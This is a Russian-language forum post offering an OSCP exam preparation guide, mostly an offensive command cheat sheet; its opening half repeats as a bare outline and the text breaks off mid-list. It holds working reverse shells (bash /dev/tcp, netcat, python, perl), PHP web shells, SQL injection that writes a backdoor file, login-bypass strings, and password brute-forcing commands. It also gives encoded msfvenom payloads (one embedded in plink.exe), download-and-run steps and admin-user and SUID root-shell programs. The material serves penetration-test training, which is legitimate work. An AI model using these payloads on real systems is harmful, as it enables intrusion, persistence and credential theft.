Всем большой и трайхардовый привет!
Как и обещал эту статью, в продолжении идеологии просвещения в OSCP - я уделю внимание именно инструментарию и полезным ссылкам...
!Хочу обратить внимание, этот гайд предназначен не только для подготовки к экзамену, так же применим к CTF и очень пригодится для построения структуры работ при проведении тестирования на проникновение или Pentest'ов в реальной жизни. Вам нужно выработать навык владения инструментарием, научиться конспектировать и строить структурные отчеты и всегда докапываться до мелочей и никогда не сдаваться.
ВОДА:
Как я описывал ранее весь процесс подготовки и сдачи экзамена OSCP достаточно сердитый процесс, требующий не только знаний, но и организации рабочего места для самого процесса экзаменирования. Описанные в прошлой статье 10 шагов действительно помогут Вам быть готовыми на все 99,9%
Но, независимо от Ваших знаний и самооценки требует уделить особое внимание к процессу подготовки и сделать небольшую работу по сбору информации от уже прошедших экзаменацию и иную информацию в интернете, для того, чтобы подойти к "снаряду" уверенно и не совершать ошибок, ведь 800 капустных листов не валяются на дороге. Я сделал за Вас эту работу и думаю Вы оцените эту "солянку",
Итак, погнали...
Моя подготовка началась осенью 2018 г. с площадки Root-Me.org и в конце Декабря 2018 года я решил принять участие в очень неплохой и невероятно интересной площадке Pentestit Lab 12, врайтап по которой я опубликовал на нашем форуме в Январе 2019 состоящую из 4 частей.
Дальше, прочитав множество статей на очень НЕ Русском языке от прошедших экзаменацию от Offensive Security, 27 Января 2019 г. мой следующий выбор пал на HackTheBox.
1. Уделите внимание тренировочному процессу, это крайне важно. Ниже списком я представлю OSCP-like машины, которые Вы можете натренировать если не сталкивались с CTF "коробками". Проведите тренировку скачав образы с Vulnhub или купив платную подписку на Hackthebox которая позволить играть со снятыми с вооружения снарядами.
HackTheBox была отличной платформой, которая поможет Вам адаптироваться перед сдачей OSCP, однако имейте ввиду, многие таски там слишком CTF-Like. Если Вам пока не ясна данная терминология - рвите когти туда и когда адские слезы превратяться в кристаллы и после месяцев подготовки Вы начнете понимать разницу между стандартными машинами и некими адовыми чертовщинами решать которые получается только сплотившись командой - возвращайтесь сюда и продолжайте чтиво...
!Не старайтесь брать все Active машины, это не всегда просто и зачастую настолько наворочено, что мозг при каждом высмаркивании вытекает через ноздри. Просто научитесь находить уязвимость, находить эксплуатацию, эксплуатировать и кране важно - фиксируйте все свои изыскания в виде заметок и делайте больше скринов, чтобы выработать привычку.
Так же после того, как набьете руку об Ваш манипулятор на коробках, переходите на VulnHub. Это площадка, позволяющая вне зависимости от вероисповедания, наличия денег на VIP подписку или отсутствие опыта, скачать образ подготовленной виртуальной машины и приступить к выполнению задач по поиску флагов.
Только имея опыт по взятию юзеров и рутов Вы сможете без применения вратайпов испытать свои навыки для того, чтобы подвести наработанные знания - к экзаменационным.
Сейчас я перечислю машины из площадок VulnHub и HackTheBox, которые очень сильно похожи на те, которые будут на экзамене и Вам жизненно необходимо научиться решать их без гугла.
VulnHub:
HackTheBox:
!Внимание, на данном ресурсе действует единственно правило - поддерживать ресурс деньгой, поэтому убранные в кладовку машины на фри недоступны и Вам нужно заплатить 11 фунтов BRexit денег для того, чтобы иметь возможность поиграть в них. Поэтому я даю Вам готовые врайтапы по ним.
Если после прочтения всего описанного Вы ошеломлены и не знаете с чего начать, посмотрите эти видео от IppSec. На данном ютуб канале выходят врайтапы снятых с продакшена HackTheBox машин и влогер уделяет очень много внимания мелочам, тратя от 30 до 60 минут на каждую и разжевывает прохождение ровно так, как оно должно делаться в идеале.
ИНСТРУМЕНТАРИЙ:
Итак, дорогие мои (фраза взята у Малышевой вдруг что), давайте немного пофантазируем и представим себе, что мы получили доступ к лабараторке и видим такую картину:
Давайте договоримся сразу представлять перед собой цели в удобном виде:
1. Enumeration или по-нашему Перечисление. Это то с чего начинают все, это именно та база, которая должна быть в Вас и доведена до автоматизма.
Практически в каждом обзоре, который я находил про OSCP - говорится, что Вы должны составить у себя в голове сценарий перечисления и без него Вы не успеете в отведенный срок пропустив какую-нибудь незначительную деталь из-за которой придется делать скан снова и снова… Но уже есть готовые сценарии, специально предназначенные для OSCP, такие как Reconnoitre (Разведка или рекогносцировка) от Codingo. Этот сказочный инструмент действительно может помочь Вам найти вектор достаточно быстро, знающие люди используют данный инструмент и после сдачи экзамена, в случае отсутствия видимых векторов пробуйте ручные сценарии сканирования. Ниже приведены команды и инструментарий, которые будут невероятно полезны:
Nmap
Quick TCP Scan
Quick UDP Scan
Full TCP Scan
Port knock
Web Scanning
Nikto - незаменимая утилита, использую на постоянной основе в реальных проэктах
Dirsearch Directory unumerate - использую всегда только его
Dirsearch Так же я лично очень часто использую большой словарик с dirb в связке
Gobuster quick directory busting
Gobuster comprehensive directory busting
Gobuster search with file extension
Gobuster Ну и моя любимая
Wfuzz этот инструмент зачастую встречаю на врайтапах HTB
Wordpress scan простой
Wordpress наебуреный для гарантированного результата
+( вот эти команды если Вы знаете, что папки были намеренно перенесены --wp-plugins-dir plugins --wp-content-dir /)
Port Checking
Netcat banner grab
Telnet banner grab
SMB
SMB Vulnerability Scan
SMB Users & Shares Scan
Enum4linux
Null connect
Connect to SMB share
SNMP
SNMP enumeration
Python Servers
Web Server
FTP Server
# Install pyftpdlib
# Run (-w flag allows anonymous write access)
Reverse Shells
Bash shell
Netcat without -e flag
Netcat Linux
Netcat Windows
Python
Perl
Remote Desktop
Remote Desktop for windows with share and 85% screen
PHP
PHP command injection from GET Request
#Alternative
Powershell
Non-interactive execute powershell file
Misc
More binaries Path
Linux proof
Windows proof
SSH Tunneling / Pivoting
Local port forwarding
Remote port forwarding
Dynamic port forwarding
Plink local port forwarding
SQL Injection
# sqlmap crawl
# sqlmap dump database
sqlmap -u http://10.10.10.10 --dbms=mysql --dump[/CODE]
# sqlmap shell
sqlmap -u http://10.10.10.10 --dbms=mysql --os-shell[/CODE]
Upload php command injection file
Load file
Bypasses
Brute force
John the Ripper shadow file
RDP user with password list
SSH user with password list
FTP user with password list
MSFVenom Payloads
Interactive Shell
Upgrading to a fully interactive TTY using Python
File Transfers
HTTP
The most common file transfer method.
FTP
This process can be mundane, a quick tip would be to be to name the filename as ‘file’ on your kali machine so that you don’t have to re-write the script multiple names, you can then rename the file on windows.
TFTP
Generic.
VBS
When FTP/TFTP fails you, this wget script in VBS was the go to on Windows machines.
Buffer Overflow или Переполнение буфера
Тут я чувствую свое упущение и нужно еще набраться опыта.
Представлю Вам PDF файл который поможет понять процесс.
СКРИПТЫ крайне полезные:
useradd.c
Windows - Add user.
SUID
Set owner user ID.
Powershell Run as
Run file as another user with powershell.
Process Monitor
Monitor processes to check for running cron jobs.
Сама экзаменационная среда может выглядеть так:
LINKS или крайне полезные ссылки:
Privilege Escalation:
Scripts:
Дальше пока сумбур и адское количество полезной информации, которую я не успел перебрать и представить в удобоваримом виде и по мере моявления свободного времени обязательно приведу в соответствующий вид и буду дополнять:
github.com
blog.g0tmi1k.com
github.com
github.com
www.fuzzysecurity.com
github.com
github.com
Mixed
github.com
github.com
backdoorshell.gitbooks.io
highon.coffee
MsfVenom
www.offensive-security.com
netsec.ws
Shell Escape Techniques
netsec.ws
airnesstheman.blogspot.ca
speakerdeck.com
Pivoting
www.fuzzysecurity.com
highon.coffee
www.offensive-security.com
Linux Privilege Escalation
0x90909090.blogspot.ie
blog.g0tmi1k.com
github.com
github.com
highon.coffee
github.com
Windows Privilege Escalation
blog.cobaltstrike.com
github.com
github.com
github.com
github.com
github.com
hackmag.com
toshellandback.com
www.commonexploits.com
www.fuzzysecurity.com
www.labofapenetrationtester.com
Shellterlabs : Writing exploits - Shellter Labs - A place to learn.
Shellter Hacking Express challenges - Shellter Labs - A place to learn.
Windows BOF PCMan FTP - Simple Buffer Overflows
Hack the box - Hack The Box :: Penetration Testing Labs
Nishang : PowerShell scripts - samratashok/nishang
Windows Privilege Escalation Fundamentals - FuzzySecurity | Windows Privilege Escalation Fundamentals
Basic Linux Privilege Escalation - Basic Linux Privilege Escalation
Pentest Tips and Tricks - Pentest Tips and Tricks
Nmap cheat sheet - Nmap Cheat Sheet
SANS Institute : Port Knocking basics - https://www.sans.org/reading-room/whitepapers/sysadmin/port-knocking-basics-1634
Teck_K2 OSCP review - OSCP · Teck_k2
m4lv0id OSCP review - And I did OSCP!
The definitive hacking playlist -
Ставьте свои класневичи и дополняйте если есть замечания... Offencive Security ждет Вас
Как и обещал эту статью, в продолжении идеологии просвещения в OSCP - я уделю внимание именно инструментарию и полезным ссылкам...
!Хочу обратить внимание, этот гайд предназначен не только для подготовки к экзамену, так же применим к CTF и очень пригодится для построения структуры работ при проведении тестирования на проникновение или Pentest'ов в реальной жизни. Вам нужно выработать навык владения инструментарием, научиться конспектировать и строить структурные отчеты и всегда докапываться до мелочей и никогда не сдаваться.
ВОДА:
Как я описывал ранее весь процесс подготовки и сдачи экзамена OSCP достаточно сердитый процесс, требующий не только знаний, но и организации рабочего места для самого процесса экзаменирования. Описанные в прошлой статье 10 шагов действительно помогут Вам быть готовыми на все 99,9%
Но, независимо от Ваших знаний и самооценки требует уделить особое внимание к процессу подготовки и сделать небольшую работу по сбору информации от уже прошедших экзаменацию и иную информацию в интернете, для того, чтобы подойти к "снаряду" уверенно и не совершать ошибок, ведь 800 капустных листов не валяются на дороге. Я сделал за Вас эту работу и думаю Вы оцените эту "солянку",
Итак, погнали...
Моя подготовка началась осенью 2018 г. с площадки Root-Me.org и в конце Декабря 2018 года я решил принять участие в очень неплохой и невероятно интересной площадке Pentestit Lab 12, врайтап по которой я опубликовал на нашем форуме в Январе 2019 состоящую из 4 частей.
Дальше, прочитав множество статей на очень НЕ Русском языке от прошедших экзаменацию от Offensive Security, 27 Января 2019 г. мой следующий выбор пал на HackTheBox.
1. Уделите внимание тренировочному процессу, это крайне важно. Ниже списком я представлю OSCP-like машины, которые Вы можете натренировать если не сталкивались с CTF "коробками". Проведите тренировку скачав образы с Vulnhub или купив платную подписку на Hackthebox которая позволить играть со снятыми с вооружения снарядами.
HackTheBox была отличной платформой, которая поможет Вам адаптироваться перед сдачей OSCP, однако имейте ввиду, многие таски там слишком CTF-Like. Если Вам пока не ясна данная терминология - рвите когти туда и когда адские слезы превратяться в кристаллы и после месяцев подготовки Вы начнете понимать разницу между стандартными машинами и некими адовыми чертовщинами решать которые получается только сплотившись командой - возвращайтесь сюда и продолжайте чтиво...
!Не старайтесь брать все Active машины, это не всегда просто и зачастую настолько наворочено, что мозг при каждом высмаркивании вытекает через ноздри. Просто научитесь находить уязвимость, находить эксплуатацию, эксплуатировать и кране важно - фиксируйте все свои изыскания в виде заметок и делайте больше скринов, чтобы выработать привычку.
Так же после того, как набьете руку об Ваш манипулятор на коробках, переходите на VulnHub. Это площадка, позволяющая вне зависимости от вероисповедания, наличия денег на VIP подписку или отсутствие опыта, скачать образ подготовленной виртуальной машины и приступить к выполнению задач по поиску флагов.
Только имея опыт по взятию юзеров и рутов Вы сможете без применения вратайпов испытать свои навыки для того, чтобы подвести наработанные знания - к экзаменационным.
Сейчас я перечислю машины из площадок VulnHub и HackTheBox, которые очень сильно похожи на те, которые будут на экзамене и Вам жизненно необходимо научиться решать их без гугла.
VulnHub:
- Kioptrix: Level 1 (#1)
- Kioptrix: Level 1.1 (#2)
- Kioptrix: Level 1.2 (#3)
- Kioptrix: Level 1.3 (#4)
- Kioptrix: 2014 (#5)
- FristiLeaks: 1.3
- Stapler: 1
- PwnLab: init
- VulnOS: 2
- SickOs: 1.2
- Brainpan: 1
- HackLAB: Vulnix
- /dev/random: scream
- pWnOS: 2.0 (Pre-Release)
- SkyTower: 1
- Mr-Robot: 1
- IMF: 1
- Nebula from ExploitExercises
HackTheBox:
!Внимание, на данном ресурсе действует единственно правило - поддерживать ресурс деньгой, поэтому убранные в кладовку машины на фри недоступны и Вам нужно заплатить 11 фунтов BRexit денег для того, чтобы иметь возможность поиграть в них. Поэтому я даю Вам готовые врайтапы по ним.
Если после прочтения всего описанного Вы ошеломлены и не знаете с чего начать, посмотрите эти видео от IppSec. На данном ютуб канале выходят врайтапы снятых с продакшена HackTheBox машин и влогер уделяет очень много внимания мелочам, тратя от 30 до 60 минут на каждую и разжевывает прохождение ровно так, как оно должно делаться в идеале.
ИНСТРУМЕНТАРИЙ:
Итак, дорогие мои (фраза взята у Малышевой вдруг что), давайте немного пофантазируем и представим себе, что мы получили доступ к лабараторке и видим такую картину:
OSCP/
├── Public
│ ├── Box1 - 10.10.10.10
│ └── Box2 - 10.10.10.11
├── IT Department
│ ├── Box1 - 10.11.11.10
│ └── Box2 - 10.11.11.11
├── Dev Department
│ ├── Box1 - 10.12.12.10
│ └── Box2 - 10.12.12.11
├── Admin Department
│ ├── Box1 - 10.13.13.10
│ └── Box2 - 10.13.13.11
├── Exercises
│ ├── 1.3.1.3
│ └── 2.2.1
└── Shortcuts
├── Public
│ ├── Box1 - 10.10.10.10
│ └── Box2 - 10.10.10.11
├── IT Department
│ ├── Box1 - 10.11.11.10
│ └── Box2 - 10.11.11.11
├── Dev Department
│ ├── Box1 - 10.12.12.10
│ └── Box2 - 10.12.12.11
├── Admin Department
│ ├── Box1 - 10.13.13.10
│ └── Box2 - 10.13.13.11
├── Exercises
│ ├── 1.3.1.3
│ └── 2.2.1
└── Shortcuts
Давайте договоримся сразу представлять перед собой цели в удобном виде:
| Hostname | IP | Exploit | ARP | Loot | OS |
|---|---|---|---|---|---|
| Box1 | 10.10.10.10 | MS08-067 | 10.10.10.11 | capture.pcap | Windows Server 2000 |
1. Enumeration или по-нашему Перечисление. Это то с чего начинают все, это именно та база, которая должна быть в Вас и доведена до автоматизма.
Практически в каждом обзоре, который я находил про OSCP - говорится, что Вы должны составить у себя в голове сценарий перечисления и без него Вы не успеете в отведенный срок пропустив какую-нибудь незначительную деталь из-за которой придется делать скан снова и снова… Но уже есть готовые сценарии, специально предназначенные для OSCP, такие как Reconnoitre (Разведка или рекогносцировка) от Codingo. Этот сказочный инструмент действительно может помочь Вам найти вектор достаточно быстро, знающие люди используют данный инструмент и после сдачи экзамена, в случае отсутствия видимых векторов пробуйте ручные сценарии сканирования. Ниже приведены команды и инструментарий, которые будут невероятно полезны:
Nmap
Quick TCP Scan
Bash:
nmap -sC -sV -vv -oA quick 10.10.10.10
Quick UDP Scan
Bash:
nmap -sU -sV -vv -oA quick_udp 10.10.10.10
Full TCP Scan
Bash:
nmap -sC -sV -p- -vv -oA full 10.10.10.10
Port knock
Bash:
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.10.10.10; done
Web Scanning
Nikto - незаменимая утилита, использую на постоянной основе в реальных проэктах
Bash:
nikto -h 10.10.10.10
Dirsearch Directory unumerate - использую всегда только его
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x 301,403,503,302 --random-agent
Dirsearch Так же я лично очень часто использую большой словарик с dirb в связке
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x 301,403,503,302 --random-agent -w big.txt -f
Gobuster quick directory busting
Bash:
gobuster -u 10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t 80 -a Linux
Gobuster comprehensive directory busting
Bash:
gobuster -s 200,204,301,302,307,403 -u 10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -t 80 -a 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'
Gobuster search with file extension
Bash:
gobuster -u 10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t 80 -a Linux -x .txt,.php
Gobuster Ну и моя любимая
Bash:
gobuster -k -fw -u http://10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -e php,txt,htm,html,phtml,js,zip,rar,tar
Wfuzz этот инструмент зачастую встречаю на врайтапах HTB
Bash:
wfuzz -X GET -c --hc 301 -t 50 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -u http://10.10.10.10
Wordpress scan простой
Bash:
wpscan -u http://10.10.10.10/
Wordpress наебуреный для гарантированного результата
Bash:
wpscan --url http://10.10.10.10/ --force --ignore-main-redirect --stealthy
Port Checking
Netcat banner grab
Bash:
nc -v 10.10.10.10 port
Telnet banner grab
Bash:
telnet 10.10.10.10 port
SMB
SMB Vulnerability Scan
Bash:
nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse 10.10.10.10
SMB Users & Shares Scan
Bash:
nmap -p 445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.10
Enum4linux
Bash:
enum4linux -a 10.10.10.10
Null connect
Bash:
rpcclient -U "" 10.10.10.10
Connect to SMB share
Bash:
smbclient //MOUNT/share
SNMP
SNMP enumeration
Bash:
snmp-check 10.10.10.10
Python Servers
Web Server
Bash:
python -m SimpleHTTPServer 80
FTP Server
# Install pyftpdlib
Bash:
pip install pyftpdlib
# Run (-w flag allows anonymous write access)
Bash:
python -m pyftpdlib -p 21 -w
Reverse Shells
Bash shell
Bash:
bash -i >& /dev/tcp/10.10.10.10/4443 0>&1
Netcat without -e flag
Bash:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f
Netcat Linux
Bash:
nc -e /bin/sh 10.10.10.10 4443
Netcat Windows
Bash:
nc -e cmd.exe 10.10.10.10 4443
Python
Bash:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl
Bash:
perl -e 'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Remote Desktop
Remote Desktop for windows with share and 85% screen
Bash:
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.10
PHP
PHP command injection from GET Request
Bash:
<?php echo system($_GET["cmd"]);?>
#Alternative
Bash:
<?php echo shell_exec($_GET["cmd"]);?>
Powershell
Non-interactive execute powershell file
Bash:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.ps1
Misc
More binaries Path
Bash:
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/ucb/
Linux proof
Bash:
hostname && whoami && cat proof.txt && /sbin/ifconfig
Windows proof
Bash:
hostname && whoami.exe && type proof.txt && ipconfig /all
SSH Tunneling / Pivoting
Bash:
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
Local port forwarding
Bash:
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
Remote port forwarding
Bash:
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
Dynamic port forwarding
Bash:
ssh -D <local proxy port> -p <remote port> <target>
Plink local port forwarding
Bash:
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>
SQL Injection
# sqlmap crawl
Bash:
sqlmap -u http://10.10.10.10 --crawl=1
# sqlmap dump database
sqlmap -u http://10.10.10.10 --dbms=mysql --dump[/CODE]
# sqlmap shell
sqlmap -u http://10.10.10.10 --dbms=mysql --os-shell[/CODE]
Upload php command injection file
Bash:
union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
Load file
Bash:
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
Bypasses
Bash:
' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -
Brute force
John the Ripper shadow file
Bash:
$ unshadow passwd shadow > unshadow.db
$ john unshadow.db
Bash:
# Hashcat SHA512 $6$ shadow file
hashcat -m 1800 -a 0 hash.txt rockyou.txt --username
#Hashcat MD5 $1$ shadow file
hashcat -m 500 -a 0 hash.txt rockyou.txt --username
# Hashcat MD5 Apache webdav file
hashcat -m 1600 -a 0 hash.txt rockyou.txt
# Hashcat SHA1
hashcat -m 100 -a 0 hash.txt rockyou.txt --force
# Hashcat Wordpress
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt
RDP user with password list
Bash:
ncrack -vv --user offsec -P passwords rdp://10.10.10.10
SSH user with password list
Bash:
hydra -l user -P pass.txt -t 10 10.10.10.10 ssh -s 22
FTP user with password list
Bash:
medusa -h 10.10.10.10 -u user -P passwords.txt -M ftp
MSFVenom Payloads
Bash:
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php
# Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war
# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai
# Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf
# Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f c
# Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe
# Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe
# Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py
# Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata_ga_nai -o shell.asp
# Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx
# Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f js_le -e generic/none -n 18
# Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
# Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai
# Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe
# Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
Interactive Shell
Upgrading to a fully interactive TTY using Python
Bash:
# Enter while in reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
File Transfers
HTTP
The most common file transfer method.
Bash:
# In Kali
python -m SimpleHTTPServer 80
# In reverse shell - Linux
wget 10.10.10.10/file
# In reverse shell - Windows
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"
FTP
This process can be mundane, a quick tip would be to be to name the filename as ‘file’ on your kali machine so that you don’t have to re-write the script multiple names, you can then rename the file on windows.
Bash:
# In Kali
python -m pyftpdlib -p 21 -w
# In reverse shell
echo open 10.10.10.10 > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt
# Execute
ftp -v -n -s:ftp.txt
TFTP
Generic.
Bash:
# In Kali
atftpd --daemon --port 69 /tftp
# In reverse shell
tftp -i 10.10.10.10 GET nc.exe
VBS
When FTP/TFTP fails you, this wget script in VBS was the go to on Windows machines.
Bash:
# In reverse shell
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
# Execute
cscript wget.vbs http://10.10.10.10/file.exe file.exe
Buffer Overflow или Переполнение буфера
Тут я чувствую свое упущение и нужно еще набраться опыта.
Представлю Вам PDF файл который поможет понять процесс.
Bash:
# Payload
payload = "\x41" * <length> + <ret_address> + "\x90" * 16 + <shellcode> + "\x43" * <remaining_length>
# Pattern create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>
# Pattern offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <length> -q <address>
# nasm
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp eax
# Bad characters
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
СКРИПТЫ крайне полезные:
useradd.c
Windows - Add user.
C:
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net user <username> <password> /add && net localgroup administrators <username> /add");
return 0;
}
# Compile
i686-w64-mingw32-gcc -o useradd.exe useradd.c
SUID
Set owner user ID.
Bash:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
# Compile
gcc suid.c -o suid
Powershell Run as
Run file as another user with powershell.
Код:
echo $username = '<username>' > runas.ps1
echo $securePassword = ConvertTo-SecureString "<password>" -AsPlainText -Force >> runas.ps1
echo $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword >> runas.ps1
echo Start-Process C:\Users\User\AppData\Local\Temp\backdoor.exe -Credential $credential >> runas.ps1
Process Monitor
Monitor processes to check for running cron jobs.
Bash:
#!/bin/bash
# Loop by line
IFS=$'\n'
old_process=$(ps -eo command)
while true; do
new_process=$(ps -eo command)
diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
sleep 1
old_process=$new_process
done
Сама экзаменационная среда может выглядеть так:
OSCP/
├── Offensive Security Lab Penetration Test Report
│ ├── Introduction
│ ├── Objective
│ └── Scope
├── High-Level Summary
│ └── Recommendations
├── Methodologies
│ ├── Information Gathering
│ ├── Service Enumeration
